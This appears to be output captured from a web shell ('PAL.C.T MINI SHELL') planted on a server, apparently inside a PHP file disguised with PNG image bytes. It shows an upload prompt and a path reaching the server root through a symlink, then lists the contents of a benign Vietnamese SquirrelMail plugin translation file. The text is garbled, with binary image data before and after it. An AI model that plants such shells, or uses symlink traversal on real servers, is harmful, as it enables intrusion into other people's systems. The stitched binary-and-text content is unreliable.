php  IHDRwQ)Ba pHYs  sRGBgAMA aIDATxMk\Us&uo,mD )Xw+e?tw.oWp;QHZnw`gaiJ9̟灙a=nl[ ʨG;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$y H@E7j 1j+OFRg}ܫ;@Ea~ j`u'o> j-$_q?qSXzG'ay

PAL.C.T MINI SHELL
files >> /var/www/html/sub/images/sym/root/usr/share/squirrelmail/locale/vi_VN/LC_MESSAGES/
upload
files >> //var/www/html/sub/images/sym/root/usr/share/squirrelmail/locale/vi_VN/LC_MESSAGES/contactclean.po

# Vietnamese (vi) contactclean Translation (SquirrelMail plugin)
# Copyright © 2003-2009 The SquirrelMail Project Team
# This file is distributed under the same license as the SquirrelMail package.
# Clytie Siddall <clytie@riverland.net.au>, 2008.
# $Id: contactclean.pot 12742 2007-10-26 23:15:55Z jervfors $
#
msgid ""
msgstr ""
"Project-Id-Version: contactclean 3.3.1\n"
"Report-Msgid-Bugs-To: Ian Rogers <admin@contactclean.com>\n"
"POT-Creation-Date: 2007-10-27 00:30+0200\n"
"PO-Revision-Date: 2008-03-09 22:29+1030\n"
"Last-Translator: Clytie Siddall <clytie@riverland.net.au>\n"
"Language-Team: Vietnamese <vi-VN@googlegroups.com>\n"
"MIME-Version: 1.0\n"
"Content-Type: text/plain; charset=UTF-8\n"
"Content-Transfer-Encoding: 8bit\n"
"Plural-Forms: nplurals=1; plural=0;\n"
"X-Generator: LocFactoryEditor 1.7b1\n"

#: addressbook_functions.php:12
msgid "Verify Contacts in Addressbook(s)"
msgstr "Thẩm tra các liên lạc trong Sổ địa chỉ"

#: options.php:40
#: options.php:44
msgid "Set E-mail Address"
msgstr "Đặt địa chỉ thư điện tử"

#: options.php:49
msgid ""
"You need to set your address in the <a href=\"options.php?optpage=personal"
"\">Personal Information options page</a>"
msgstr "Bạn cần phải đặt địa chỉ trên <a href=\"options.php?optpage=personal\">trang tùy chọn Thông tin Cá nhân</a>"

#: options.php:51
msgid ""
"Once you've done that, come back here to continue the ContactClean setup "
msgstr "Một khi làm đó thì trở về đây để tiếp tục thiết lập phần mở rộng ContactClean."

#: options.php:81
msgid "Confirm or Register with ContactClean"
msgstr "Xác nhân hoặc Đăng ký với ContactClean"

#: options.php:85
#, php-format
msgid "Register with %s"
msgstr "Đăng ký với %s"

#: options.php:90
msgid ""
"If you don't have an account with ContactClean then you need to register "
"before continuing further."
msgstr "Không có tài khoản ContactClean thì bạn cần phải đăng ký trước khi tiếp tục."

#: options.php:96
msgid "Current email address"
msgstr "Địa chỉ thư điện tử hiện thời"

#: options.php:100
msgid "Previous email address"
msgstr "Địa chỉ thư điện tử trước"

#: options.php:102
msgid "optional"
msgstr "tùy chọn"

#: options.php:106
msgid "Register Address"
msgstr "Đăng ký địa chỉ"

#: options.php:113
#, php-format
msgid "Then fetch your %s and paste it in below."
msgstr "Sau đó thì lấy %s và dán nó vào bên dưới."

#: options.php:114
msgid "search-license key"
msgstr "tìm kiếm — khoá giấy phép"

#: options.php:128
msgid "Signature Options"
msgstr "Tùy chọn chữ ký"

#: options.php:134
msgid "Set Signature"
msgstr "Đặt chữ ký"

#: options.php:139
#, php-format
msgid ""
"You don't have a signature. <a %s>Click here</a> to set one and share "
"ContactClean with others."
msgstr "Bạn không có chữ ký. <a %s>Nhấn vào đây</a> để đặt một chữ ký và chia sẻ ContactClean với người khác."

#: options.php:147
msgid ""
"Keep in Touch - make sure your address book is up to date by using "
"ContactClean's easy to use services. "
msgstr "Giữ quan hệ — đảm bảo sổ địa chỉ hiện thời bằng cách sử dụng các dịch vụ dễ dùng của ContactClean."

#: options.php:148
msgid "To find out more go to www.ContactClean.com"
msgstr "Để tìm thêm thông tin, thăm địa chỉ « www.ContactClean.com »."

#: options.php:171
msgid "Signature"
msgstr "Chữ ký"

#: options.php:179
msgid "Use Signature"
msgstr "Dùng chữ ký"

#: options.php:185
msgid "Prefix Signature with '-- ' Line"
msgstr "Vẽ đường -- trước chữ ký"

#: options.php:195
#: verify.php:339
msgid "Powered by"
msgstr "Chạy bằng"

#: options.php:202
msgid "See your account"
msgstr "Xem tài khoản của bạn"

#: options_functions.php:29
msgid ""
"Set your ContactClean account details to enable the Addressbook cleaning "
"function."
msgstr "Đặt các chi tiết tài khoản ContactClean của bạn, để hiệu lực chức năng làm sạch Sổ địa chỉ."

#: options_functions.php:46
msgid "Register my Old Address(es) with ContactClean"
msgstr "Đăng ký các địa chỉ cũ của tôi với ContactClean"

#: options_functions.php:48
msgid "(discards changes made on this form so far)"
msgstr "(hủy các thay đổi được làm trong biểu mẫu này)"

#: options_functions.php:51
msgid "Previous Address"
msgstr "Địa chỉ trước"

#: verify.php:49
msgid "You haven't set your email address yet."
msgstr "Bạn chưa đặt địa chỉ thư điện tử."

#: verify.php:52
#, php-format
msgid ""
"You need to go to the <a href='%ssrc/options.php?optpage=personal'>Personal "
"Information options page</a> and set your own email address before you can "
"verify your address book"
msgstr "Bạn cần phải thăm <a href='%ssrc/options.php?optpage=personal'>trang tùy chọn Thông tin Cá nhân</a> và đặt địa chỉ thư điện tử của mình trước khi bạn có thể thẩm tra sổ địa chỉ."

#: verify.php:61
msgid "You haven't set your ContactClean.com account key yet."
msgstr "Bạn chưa đặt khoá tài khoản « ContactClean.com »."

#: verify.php:64
#, php-format
msgid ""
"You need to go to the <a href='%ssrc/options.php?"
"optpage=contactclean'>ContactClean options page</a>"
msgstr "Bạn cần phải thăm <a href='%ssrc/options.php?optpage=contactclean'>trang tùy chọn ContactClean</a>"

#: verify.php:80
msgid "No personal address book is defined. Contact your administrator."
msgstr "Chưa xác định sổ địa chỉ cá nhân. Hãy liên lạc với quản trị."

#: verify.php:93
msgid "Nothing in the addressbook (is this what you expect?) - nothing to do"
msgstr "Không có gì trong sổ địa chỉ (đây là trường hợp bạn mong đợi không?) nên không có gì cần làm."

#: verify.php:122
msgid "No quota returned. Some kind of soap error!!!"
msgstr "Không có chỉ tiêu được trả về. Gặp lỗi soap kiểu nào !!!"

#: verify.php:126
msgid "You are out of quota. Please try again later"
msgstr "Bạn cạn chỉ tiêu. Hãy thử lại."

#: verify.php:209
msgid ""
"ERROR: You need to select some addresses to use the 'Replace Selected' "
"button!"
msgstr "LỖI: bạn cần phải chọn một số địa chỉ để sử dụng cái nút « Thay thế cái đã chọn »."

#: verify.php:222
msgid "Updating the addressbook"
msgstr "Đang cập nhật sổ địa chỉ"

#: verify.php:234
#, php-format
msgid "Replacing %s with %s"
msgstr "Đang thay thế %s bằng %s"

#: verify.php:237
#, php-format
msgid "Changed from %s => %s by ContactClean plugin %s"
msgstr "Phần mở rộng ContactClean %s đã thay đổi %s thành %s"

#: verify.php:251
msgid "ERROR"
msgstr "LỖI"

#: verify.php:278
msgid ""
"The following new addresses have been found!<p>Select the ones you want to "
"update in your addressbook.<p>"
msgstr "Tìm thấy những địa chỉ sau.<p>Hãy chọn những địa chỉ bạn muốn cập nhật trong sổ địa chỉ.<p>"

#: verify.php:286
msgid "Nickname"
msgstr "Tên hiệu"

#: verify.php:287
msgid "Name"
msgstr "Tên"

#: verify.php:288
msgid "E-mail"
msgstr ""
"Địa chỉ thư"

#: verify.php:289
msgid "Replace?"
msgstr "Thay thế ?"

#: verify.php:290
msgid "Replace with"
msgstr "Thay thế bằng"

#: verify.php:320
msgid "Your address book seems completely up to date."
msgstr "Có vẻ là sổ địa chỉ của bạn là hiện thời hoàn toàn."

#: verify.php:321
msgid "Check Again"
msgstr "Kiểm tra lại"

#: verify.php:330
msgid ""
"% entries in your addressbook have been registered with the ContactClean.com "
"database to await authorisation with the searchee. Please try again in a few "
"days time in case you have been authorised to see some new addresses."
msgstr "% mục nhập trong sổ địa chỉ của bạn đã được đăng ký với cơ sở dữ liệu ContactClean.com để đợi người đích cho phép. Hãy thử lại sau vài ngày để tìm biết nếu bạn có quyền xem một số địa chỉ mới chưa."

#: verify.php:376
msgid "Replace selected"
msgstr ""
"Thay thế cái đã chọn"

#: verify.php:377
msgid "Replace all"
msgstr "Thay thế tất cả"

#: verify.php:378
msgid "Refresh"
msgstr ""
"Cập nhật"
y~or5J={Eeu磝QkᯘG{?+]ן?wM3X^歌>{7پK>on\jyR g/=fOroNVv~Y+NGuÝHWyw[eQʨSb>>}Gmx[o[<{Ϯ_qF vMIENDB`